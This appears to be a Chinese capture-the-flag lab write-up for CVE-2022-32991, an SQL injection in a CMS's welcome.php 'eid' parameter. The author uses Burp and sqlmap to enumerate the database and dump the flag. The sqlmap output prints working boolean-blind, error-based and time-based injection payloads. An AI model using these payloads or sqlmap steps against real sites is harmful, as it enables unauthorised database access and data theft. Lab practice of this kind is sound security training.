春秋云镜 - CVE-2022-32991
靶标介绍:
该CMS的welcome.php中存在SQL注入攻击。
访问页面,先注册,使用邮箱加密码登录。
bp抓包,后台挂上sqlipy然后去测welcome.php,常用的语句都没成功但过一会就有了结果,注入点在eid这个参数,看payload是bool盲注。
直接sqlmap一把梭,脱裤。
sqlmap -r sql.txt --dbs --batch
剩下的就简单了:
root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf --tables --batch ... [09:17:02] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.2.20 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [09:17:02] [INFO] fetching tables for database: 'ctf' [09:17:02] [WARNING] reflective value(s) found and filtering out [09:17:02] [INFO] retrieved: 'user' [09:17:02] [INFO] retrieved: 'options' [09:17:02] [INFO] retrieved: 'quiz' [09:17:03] [INFO] retrieved: 'admin' [09:17:03] [INFO] retrieved: 'questions' [09:17:03] [INFO] retrieved: 'history' [09:17:03] [INFO] retrieved: 'rank' [09:17:03] [INFO] retrieved: 'flag' [09:17:03] [INFO] retrieved: 'answer' Database: ctf [9 tables] +-----------+ | admin | | history | | options | | rank | | user | | answer | | flag | | questions | | quiz | +-----------+ root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf -T flag --columns --batch ___ __H__ ___ ___[']_____ ___ ___ {1.7.9#stable} |_ -| . [)] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 09:18:02 /2023-09-21/ [09:18:02] [INFO] parsing HTTP request from 'sql.txt' [09:18:03] [INFO] resuming back-end DBMS 'mysql' [09:18:03] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: eid (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: q=quiz&step=2&eid=-8440' OR 5703=5703#&n=1&t=34 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=quiz&step=2&eid=60377db362694' OR (SELECT 3817 FROM(SELECT COUNT(*),CONCAT(0x7176627871,(SELECT (ELT(3817=3817,1))),0x71706a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- trpQ&n=1&t=34 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=quiz&step=2&eid=60377db362694' AND (SELECT 1411 FROM (SELECT(SLEEP(5)))hVOO)-- gdHD&n=1&t=34 --- [09:18:03] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.2.20 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [09:18:03] [INFO] fetching columns for table 'flag' in database 'ctf' [09:18:03] [WARNING] reflective value(s) found and filtering out [09:18:03] [INFO] retrieved: 'flag' [09:18:04] [INFO] retrieved: 'varchar(1024)' Database: ctf Table: flag [1 column] +--------+---------------+ | Column | Type | +--------+---------------+ | flag | varchar(1024) | +--------+---------------+ [09:18:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com' [*] ending @ 09:18:04 /2023-09-21/ root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf -T flag -C flag --dump --batch ___ __H__ ___ ___["]_____ ___ ___ {1.7.9#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 09:18:48 /2023-09-21/ [09:18:48] [INFO] parsing HTTP request from 'sql.txt' [09:18:48] [INFO] resuming back-end DBMS 'mysql' [09:18:48] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: eid (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: q=quiz&step=2&eid=-8440' OR 5703=5703#&n=1&t=34 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=quiz&step=2&eid=60377db362694' OR (SELECT 3817 FROM(SELECT COUNT(*),CONCAT(0x7176627871,(SELECT (ELT(3817=3817,1))),0x71706a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- trpQ&n=1&t=34 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=quiz&step=2&eid=60377db362694' AND (SELECT 1411 FROM (SELECT(SLEEP(5)))hVOO)-- gdHD&n=1&t=34 --- [09:18:48] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.2.20 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [09:18:48] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'ctf' [09:18:49] [WARNING] reflective value(s) found and filtering out [09:18:49] [INFO] retrieved: 'flag{dca0ffb4-d243-4ebc-b6da-68da58943fd5}' Database: ctf Table: flag [1 entry] +--------------------------------------------+ | flag | +--------------------------------------------+ | flag{dca0ffb4-d243-4ebc-b6da-68da58943fd5} | +--------------------------------------------+ [09:18:49] [INFO] table 'ctf.flag' dumped to CSV file '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com/dump/ctf/flag.csv' [09:18:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com' [*] ending @ 09:18:49 /2023-09-21/ root@Lockly temp/tmp »
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!